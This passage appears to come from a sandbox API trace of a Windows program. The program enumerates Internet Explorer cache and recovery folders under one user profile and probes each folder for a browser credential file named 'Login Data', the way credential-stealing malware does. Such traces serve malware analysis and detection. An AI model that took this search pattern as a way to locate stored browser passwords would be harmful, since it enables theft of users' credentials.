hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x447fe759, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45933233, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x45933233, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.136] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45933233, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45933233, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0xb4c056f3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x5c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="imagestore.dat", cAlternateFileName="IMAGES~1.DAT")) returned 1 [0201.136] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45933233, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45933233, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0xb4c056f3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x5c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="imagestore.dat", cAlternateFileName="IMAGES~1.DAT")) returned 0 [0201.136] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0201.136] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\imagestore\\p1nh3xb\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.136] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1092cc59, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x6b9a2df3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6b9a2df3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0201.137] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1092cc59, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x6b9a2df3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6b9a2df3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.137] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1099f359, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x1099f359, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0xc34609ca, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x180000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppQuota.edb", cAlternateFileName="")) returned 1 [0201.137] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf8b2cee, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xcf8b2cee, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc34609ca, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppQuota.jfm", cAlternateFileName="")) returned 1 [0201.138] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10979113, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x10979113, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0xc34ace44, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1 [0201.138] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10952ea2, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x10979113, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0xc34ace44, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1 [0201.138] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10952ea2, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x10952ea2, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x6b9c9042, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1 [0201.138] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10979113, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x10979113, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x10979113, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0201.138] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10979113, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x10979113, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x10979113, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0201.138] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10952ea2, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x6b9a2df3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6b9c9042, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbtmp.log", cAlternateFileName="")) returned 1 [0201.138] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10952ea2, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x6b9a2df3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6b9c9042, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbtmp.log", cAlternateFileName="")) returned 0 [0201.138] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0201.139] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.140] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4349f648, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x4349f648, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x5c26bd14, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af38 [0201.141] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4349f648, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x4349f648, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x5c26bd14, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.141] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4349f648, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0xabbf3518, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xb4cc42b6, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active", cAlternateFileName="")) returned 1 [0201.141] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c26bd14, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0xa58a8538, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xb4a24886, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 1 [0201.141] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c26bd14, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0xa58a8538, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xb4a24886, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 0 [0201.141] FindClose (in: hFindFile=0x139af38 | out: hFindFile=0x139af38) returned 1 [0201.141] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.141] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4349f648, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0xabbf3518, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xb4cc42b6, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0201.141] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4349f648, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0xabbf3518, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xb4cc42b6, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.142] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4349f648, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0xabbf3518, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xb4cc42b6, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0201.142] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0201.142] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.142] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c26bd14, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0xa58a8538, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xb4a24886, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0201.143] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c26bd14, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0xa58a8538, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xb4a24886, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.143] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c26bd14, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x5c26bd14, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0xb4a24886, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecoveryStore.{9617C115-93E0-11E7-BFDA-E8DAAAF0A0ED}.dat", cAlternateFileName="RECOVE~1.DAT")) returned 1 [0201.143] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c26bd14, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x5c26bd14, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0xb4a24886, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecoveryStore.{9617C115-93E0-11E7-BFDA-E8DAAAF0A0ED}.dat", cAlternateFileName="RECOVE~1.DAT")) returned 0 [0201.143] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0201.144] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.145] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\TabRoaming\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b038 [0201.146] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.146] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0201.146] FindClose (in: hFindFile=0x139b038 | out: hFindFile=0x139b038) returned 1 [0201.146] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\TabRoaming\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.146] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Tiles\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a5b1f55, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x5a5b1f55, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x5a72f6ee, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0201.146] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a5b1f55, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x5a5b1f55, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x5a72f6ee, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.146] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a5b1f55, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x5a5b1f55, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x5a696d49, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pin-314712940", cAlternateFileName="PIN-31~1")) returned 1 [0201.147] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a72f6ee, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x5a72f6ee, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x5a72f6ee, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pin21042551290", cAlternateFileName="PIN210~1")) returned 1 [0201.147] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a72f6ee, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x5a72f6ee, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x5a72f6ee, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pin21042551290", cAlternateFileName="PIN210~1")) returned 0 [0201.147] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0201.147] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Tiles\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.147] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Tiles\\pin-314712940\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a5b1f55, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x5a5b1f55, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x5a696d49, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0201.147] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a5b1f55, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x5a5b1f55, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x5a696d49, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.147] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a696d49, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x5a696d49, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x9eb777e7, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x19b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msapplication.xml", cAlternateFileName="MSAPPL~1.XML")) returned 1 [0201.147] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a696d49, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x5a696d49, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x9eb777e7, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x19b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msapplication.xml", cAlternateFileName="MSAPPL~1.XML")) returned 0 